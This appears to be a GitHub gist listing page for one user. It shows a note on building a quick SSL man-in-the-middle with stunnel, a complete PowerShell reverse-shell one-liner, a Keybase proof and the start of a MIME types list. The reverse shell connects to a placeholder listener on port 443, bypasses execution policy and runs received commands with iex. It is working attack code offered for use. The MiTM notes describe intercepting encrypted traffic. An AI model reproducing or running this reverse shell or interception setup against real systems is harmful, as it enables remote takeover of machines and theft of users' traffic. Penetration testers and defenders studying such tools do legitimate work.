Skip to content

Instantly share code, notes, and snippets.

View ohpe's full-sized avatar
🎣

Giuseppe Trotta ohpe

🎣
View GitHub Profile
@ohpe
ohpe / MiTM-SSL.md
Created February 12, 2018 20:03
Simple SSL MiMT using stunnel

Simple SSL MiTM

A quick and dirty SSL MiTM using stunnel

  • Generate a SSL certificate .. or use Let's Encrypt (for the green lock)
openssl req -batch -new -x509 -days 365 -nodes -out mitm.pem -keyout mitm.pem
  • Run stunnel
@ohpe
ohpe / RS.ps1
Last active October 14, 2024 19:46
PowerShell Reverse Shell
powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Keybase proof

I hereby claim:

  • I am ohpe on github.
  • I am ohpe (https://keybase.io/ohpe) on keybase.
  • I have a public key ASAZvmakzAH_4RjDGAjNegcmI6JNjnZ3X4DjgSX_m3PvgQo

To claim this, I am signing this object:

@ohpe
ohpe / mime-types.list
Created January 21, 2021 11:03
MIME Types list
application/1d-interleaved-parityfec
application/acad
application/activemessage
application/alto-directory+json
application/alto-endpointcostparams+json
application/alto-updatestreamcontrol+json
application/andrew-inset
application/applefile
application/applixware
application/arj